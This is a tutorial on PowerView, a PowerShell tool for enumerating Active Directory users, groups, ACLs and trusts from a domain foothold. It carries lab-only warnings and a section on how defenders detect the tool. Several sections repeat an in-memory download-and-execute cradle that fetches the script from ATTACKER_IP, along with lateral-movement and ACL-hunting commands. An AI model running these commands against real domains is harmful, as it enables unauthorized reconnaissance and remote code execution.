PowerView

PowerView is a single PowerShell module (part of the PowerSploit family, now kept up in its own dev branch) that turns Active Directory enumeration into one-line cmdlets. From a domain-joined host it asks the domain controller the same LDAP questions you could ask by hand, then hands you clean PowerShell objects: who the users are, which groups they belong to, who can administer what, where trusts point, and which ACLs are interesting. It solves the “I have a foothold in a Windows domain, now what does this domain actually look like?” problem without dropping a separate binary.

You will reach for it on Active Directory boxes once you have a shell on a domain-joined machine. It does not exploit anything; it reads the directory and surfaces the relationships you then verify and act on. It is also the cleanest way for a defender to see exactly what an attacker learns in the first five minutes on a domain.

What you will learn#

  • How to load PowerView in memory and confirm it works
  • The handful of cmdlets that map a domain fast (users, groups, computers, ACLs, trusts)
  • How to read its object output and pipe it into something useful
  • Where it is loud and how defenders see it
  • Common mistakes and a commented cheat sheet

Run PowerView only in a lab you own or an engagement that explicitly authorizes domain enumeration. It reads directory data about other users and systems, so scope and authorization must be unambiguous. Keep the domain, the account you used, and the date in your notes. This guide stays at the level a defender or CTF player needs and points you at the mitigations rather than at any specific real target.


Prerequisites#

  • A Windows host that is joined to the lab domain (or your attacker box with the right runas/credentials), and a shell on it.
  • A domain user context. Most read queries work as any authenticated user; that is the point defenders worry about.
  • ATTACKER_IP is your own box serving the module; DOMAIN / USERNAME are lab placeholders.
  • Basic AD literacy helps (users vs computers, groups, OUs, ACLs, trusts).

Lab setup#

Build an isolated AD lab you own: a domain controller plus a member workstation in a
private network. Snapshot the VMs so you can revert. Get a low-privilege domain user
shell on the member host; that is where PowerView runs.

Use private ranges only (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and never point this at a domain you do not own.


Installation#

PowerView is a standalone .ps1, not a package. Keep a copy on your attacker box:

# On your attacker box, keep the module in your lab tooling folder
mkdir -p ~/labs/ad-demo/scripts && cd ~/labs/ad-demo/scripts
# Place PowerView.ps1 here (from the official PowerSploit dev branch).
ls -l PowerView.ps1

There is nothing to compile. Once you have PowerView.ps1, you have everything; you just need to load it into a PowerShell session on the target.


Getting it onto the target#

PowerView runs on the target, so you deliver it over the foothold you already have. The quickest route here:

# Serve PowerView.ps1 from your attacker box (python3 -m http.server 8000), then load it in memory on the target:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1'); Get-Domain

That is just one option. For every transfer method and how to choose between them, see the file transfer methods guides.

Update process#

# Replace your local copy with the newest PowerView.ps1 from the official dev branch,
# then re-serve it. New revisions add cmdlets and fix queries against newer AD schemas.
cd ~/labs/ad-demo/scripts && ls -l PowerView.ps1

The dev branch is the maintained one; the original PowerSploit copy is older. Keep a current copy so the newer Get-Domain* cmdlet names and filters are available.


Check if installed and available#

# After loading, confirm the module's functions are present in the session.
Get-Command -Module *                         # PowerView loads into the session, not as a module name
Get-Command Get-NetUser, Get-DomainUser       # both exist; Get-Domain* are the newer names

If Get-NetUser (or its newer alias Get-DomainUser) resolves, the module is loaded and ready. If you get “not recognized”, the dot-source or cradle did not run in this session.


First safe test#

In your lab, run one harmless read that only returns your own domain’s basics:

Get-Domain                                    # name, mode, and the current domain object
Get-NetDomainController | Select-Object Name  # which host is the DC

Success looks like a PowerShell object describing your lab domain. Failure is usually “not recognized” (module not loaded) or an LDAP/error about not being on a domain-joined host or lacking a domain context.


Core concepts#

  • It is LDAP in PowerShell. Every cmdlet is a directory query; nothing is exploited.
  • Two naming generations: older Get-Net* names and newer Get-Domain* names coexist; the dev branch favors Get-Domain*.
  • Objects, not text. Output is PowerShell objects, so you pipe into Select-Object, Where-Object, Sort-Object, Export-Csv to shape it.
  • Read as any user. Most enumeration needs only a normal domain account, which is why it maps a domain so quickly from a low-privilege foothold.
  • ACLs and trusts are the gold. Users and groups orient you; interesting ACLs and trust paths are where privilege-escalation leads come from.

When this tool is useful#

  • Right after a domain foothold to map users, groups, computers, and admins fast.
  • Finding ACL-based paths (who can reset whose password, who has GenericAll on what).
  • Spotting local-admin reach with Find-LocalAdminAccess across the domain.
  • Defensive review: see what a normal user can enumerate on your own domain.

When not to use this tool#

  • Anywhere you are not authorized to enumerate the directory.
  • On a heavily monitored domain where you need to stay quiet (it is well logged; consider a quieter, targeted query or a different collection method).
  • When a graph view would serve you better; collect with bloodhound instead and analyze visually.

Command anatomy#

Verb-NounNet|Domain [-Identity NAME] [-Properties *] [-Domain DOMAIN] | <pipeline>
#   Get-NetUser / Get-DomainGroup ...     filter to one object   shape the output
  • Cmdlets follow PowerShell Verb-Noun. Add -Identity to target one object, -Properties * to pull every attribute, and pipe into Select/Where to focus.

Common flags and options#

Cmdlet / optionWhat it doesWhen to use itExample
Get-NetDomain / Get-DomainDomain basicsOrient firstGet-Domain
Get-NetUser / Get-DomainUserEnumerate usersMap accountsGet-NetUser -Identity USERNAME
Get-NetGroup / Get-DomainGroupEnumerate groupsFind privileged groupsGet-NetGroup '*admin*'
Get-NetComputer / Get-DomainComputerEnumerate hostsTargetingGet-NetComputer -Properties dnshostname
Get-NetGroupMemberMembers of a groupWho is in Domain AdminsGet-NetGroupMember 'Domain Admins'
Find-LocalAdminAccessHosts where you are local adminLateral movementFind-LocalAdminAccess
Get-ObjectAcl / Get-DomainObjectAclACLs on an objectFind ACL pathsGet-DomainObjectAcl -ResolveGUIDs
Get-NetGPOGroup Policy objectsFind applied policyGet-NetGPO
Get-DomainTrustDomain/forest trustsMap trust pathsGet-DomainTrust
-Properties *Pull all attributesDeep look at one objectGet-NetUser USERNAME -Properties *

Practical examples (owned lab only)#

# Orient: what domain am I in, and where is the DC?
Get-Domain
Get-NetDomainController | Select-Object Name, IPAddress
# Enumerate users and pull just the useful columns
Get-NetUser | Select-Object samaccountname, description, lastlogon | Sort-Object lastlogon
# Who is in the high-value groups?
Get-NetGroupMember -Identity 'Domain Admins' | Select-Object MemberName
Get-NetGroup '*admin*' | Select-Object samaccountname
# Where does my current user have local admin? (classic lateral-movement lead)
Find-LocalAdminAccess
# ACL hunting: find non-default rights over objects (GenericAll, WriteDacl, ResetPassword)
Get-DomainObjectAcl -Identity USERNAME -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|ForceChangePassword' }
# Trusts: how does this domain connect to others?
Get-DomainTrust
# Save a clean copy for your notes
Get-NetUser | Export-Csv -NoTypeInformation $env:TEMP\users.csv

Example workflow#

# 1. Load PowerView into the session (in-memory cradle from your box)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')

# 2. Orient
Get-Domain ; Get-NetDomainController | Select-Object Name

# 3. Enumerate the high-value targets
Get-NetGroupMember 'Domain Admins' | Select-Object MemberName
Get-NetComputer -Properties dnshostname

# 4. Look for movement and ACL paths
Find-LocalAdminAccess
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' }

# 5. Document the accounts, groups, and rights you found and how you verified each

Reading and interpreting output#

  • Output is objects: if a query prints too much, pipe into Select-Object name, <attr>.
  • Find-LocalAdminAccess returning a hostname means your current token has local admin there; that is an immediate lateral-movement lead to verify.
  • In Get-DomainObjectAcl, watch ActiveDirectoryRights for GenericAll, WriteDacl, WriteOwner, and ForceChangePassword, and resolve SecurityIdentifier to a name.
  • An empty result is not always “nothing”; a wrong -Identity or a filter typo returns empty too. Re-check the name before concluding.

Common mistakes#

  • Loading the module in one session and querying in another (it must be the same session).
  • Forgetting -ResolveGUIDs, so ACL output shows raw GUIDs instead of readable rights.
  • Dumping Get-NetUser with no Select-Object and drowning in attributes.
  • Assuming silence; PowerView is well logged on modern domains (see below).
  • Using the old Get-Net* names against a copy that only ships Get-Domain*, or vice versa.

Troubleshooting#

ProblemLikely causeFix
“not recognized”Module not loaded in this sessionRe-run the cradle or dot-source . .\pv.ps1
Load blockedAMSI / execution policyLab-only: load in memory; expect logging
Empty resultsWrong -Identity or filterRe-check the exact name; widen the filter
GUIDs in ACL outputMissing -ResolveGUIDsAdd -ResolveGUIDs
Slow / huge outputQuerying everythingFilter with -Identity / Where-Object first
“not a domain”Host not domain-joined / no contextRun from a joined host or supply credentials

Tools that pair well#

  • bloodhound to collect the same relationships and analyze attack paths as a graph instead of by hand.
  • impacket to act on findings remotely (for example dumping secrets once you have the rights PowerView revealed).
  • netexec to validate accounts and check access across hosts.
  • mimikatz when an ACL path leads to credentials on a host.
  • evil-winrm to move to a host PowerView showed you can reach.

Automation and note taking#

# Capture a session transcript and export key findings for your notes
Start-Transcript $env:TEMP\powerview-session.txt
Get-NetUser | Export-Csv -NoTypeInformation $env:TEMP\users.csv
Get-NetGroupMember 'Domain Admins' | Export-Csv -NoTypeInformation $env:TEMP\da.csv
Stop-Transcript

Treat exported directory data as sensitive: record the domain, the account used, and how you verified each finding, then handle the files per the engagement’s data rules.


Blue-team visibility#

This is the part worth studying. PowerView is loud on a modern domain: PowerShell script-block logging (event 4104) captures the loaded functions, AMSI commonly flags the in-memory load, and the burst of LDAP queries it generates is itself a detection signal (unusual volume of directory reads from a workstation, queries for adminCount, ACLs, and trusts). Defenders watch for these patterns, enable script-block and module logging, use AMSI, and treat sudden domain-wide enumeration from a single user as an alert. Understanding PowerView is mostly valuable for building and tuning those detections.

Safer or lower-noise usage#

  • Run targeted queries (-Identity) instead of dumping everything.
  • Prefer a single, planned enumeration pass over repeated noisy sweeps.
  • For analysis, collect once with a graph tool and reason offline rather than re-querying.
  • Stay within the scoped account and host; do not spray queries across the whole domain when one answer is all you need.

Alternatives#

  • bloodhound + SharpHound: collects the relationships and shows attack paths as a graph; better for analysis at scale.
  • Native ActiveDirectory PowerShell module (Get-ADUser, Get-ADGroup): signed, Microsoft-supplied, and quieter when RSAT is available.
  • ldapsearch (ldapsearch) from a non-Windows box for raw LDAP queries with credentials.
  • adPEAS / SharpView: a compiled port of PowerView for when PowerShell is constrained.

PowerView wins for fast, scriptable, ad-hoc questions from a Windows foothold; the graph and native tools win for scale and for staying quiet.


Deprecated and legacy notes#

  • The original PowerSploit PowerView.ps1 is unmaintained; the dev branch is the current copy and prefers the Get-Domain* cmdlet names (the Get-Net* names remain as aliases).
  • Some blogs reference Invoke-UserHunter heavily; on modern, segmented networks it is far less reliable than it once was.

Quick reference cheat sheet#

# --- Load (attacker serves PowerView.ps1 with: python3 -m http.server 8000) ---
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/PowerView.ps1')

# --- Orient ---
Get-Domain
Get-NetDomainController | Select-Object Name

# --- Users / groups / computers ---
Get-NetUser | Select-Object samaccountname, description
Get-NetGroupMember 'Domain Admins' | Select-Object MemberName
Get-NetComputer -Properties dnshostname

# --- Movement + ACLs + trusts ---
Find-LocalAdminAccess
Get-DomainObjectAcl -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match 'GenericAll' }
Get-DomainTrust

# --- Save findings ---
Get-NetUser | Export-Csv -NoTypeInformation $env:TEMP\users.csv

Mini decision tree#

  • Fresh domain foothold: load PowerView, run Get-Domain, then enumerate users/groups/computers.
  • Looking for movement: Find-LocalAdminAccess, then verify with netexec.
  • Hunting privilege paths: Get-DomainObjectAcl -ResolveGUIDs, look for GenericAll/WriteDacl.
  • Need the big picture: collect with bloodhound and analyze the graph.
  • Need to stay quiet: targeted -Identity queries, or the native AD module if RSAT is present.

Final checklist#

  • Lab or explicit authorization for domain enumeration
  • Module loaded in the session you are querying from
  • Used targeted queries and shaped the output, not raw dumps
  • Findings (accounts, groups, ACLs, trusts) documented with how you verified them
  • Detections noted where logging/AMSI flagged the activity
  • No real third-party domain

Final summary#

PowerView turns Active Directory enumeration into one-line PowerShell from a domain foothold, which is exactly why it maps a domain so fast and why defenders watch for it. The quickest start is to load it with the in-memory cradle and run Get-Domain, then work through users, groups, Find-LocalAdminAccess, and ACLs. The most useful thing to internalize is that it only reads the directory: the value is in the relationships it reveals, and the risk is how loudly it reveals them. Pair it with bloodhound for graph analysis and netexec to act on what you find, and study the blue-team section as closely as the cmdlets.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop